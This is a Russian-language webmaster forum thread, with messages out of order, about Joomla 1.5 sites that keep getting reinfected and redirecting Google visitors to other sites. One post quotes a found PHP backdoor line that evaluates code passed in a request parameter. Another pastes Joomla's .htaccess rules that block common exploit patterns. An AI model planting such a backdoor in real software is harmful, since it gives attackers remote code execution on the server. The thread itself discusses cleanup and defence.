HTTP логи?
тоже написал в личку
JCE не стоит---------- Добавлено 17.01.2013 в 21:01 ----------
обновил до 1.5.26, боюсь если поставить последнюю версию могут измениться урлы---------- Добавлено 17.01.2013 в 21:08 ----------
зачем качать, если и так ясно что файлы заражены, я писал что удалял и заливал все заново, какое то время все хорошо, потом опять все заражено.---------- Добавлено 17.01.2013 в 21:19 ----------
была джумла 1.5.23 обновил до 1.5.26
<?php if (isset($_REQUEST['p1'])) { eval(stripslashes($_REQUEST['p1'])); } else { echo "djeu84m"; } ?>
щас посмотрю---------- Добавлено 17.01.2013 в 20:48 ----------
я полностью удалил цмс и заново залил годичной давности, а проблему заметил на новый год, вроде убрал, но сейчас опять вылезло.---------- Добавлено 17.01.2013 в 20:49 ----------
по фтп файлы не открывает касперский пишет что троян
тоже думаю хостинг, а в базах данных может быть? Базы то старые остались
джумла и ворд пресс
вот .htaccess джула
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ /index.php [F,L]
Может кто подскажет, есть сайты на джумла 1.5, если смотреть страницы с гугла то они переправляют на сторонние сайты. Подскажите как убрать эту гадость, хостинг говорит что помочь не может. Вчера удалил все файлы движков со всех доменов, залил годичной давности и обновил джумлу до 1.5.26, посмотрел все нормально открывается переправлений с гугла небыло. Только что посмотрел, с гугла опять идет переход на сторонние сайты. При открытии php файлов касперский удаляет Trojan.PHP.Agent.cp
проверил касперским, все чисто. Еще замечаю в мазиле в текстовых документах выводятся ссылки www, 2012 при наведении выскакивает банер - Пари матч
да забудьте ваш бегун, из него все давно убежали!!!
до сих пор чека нет - киев
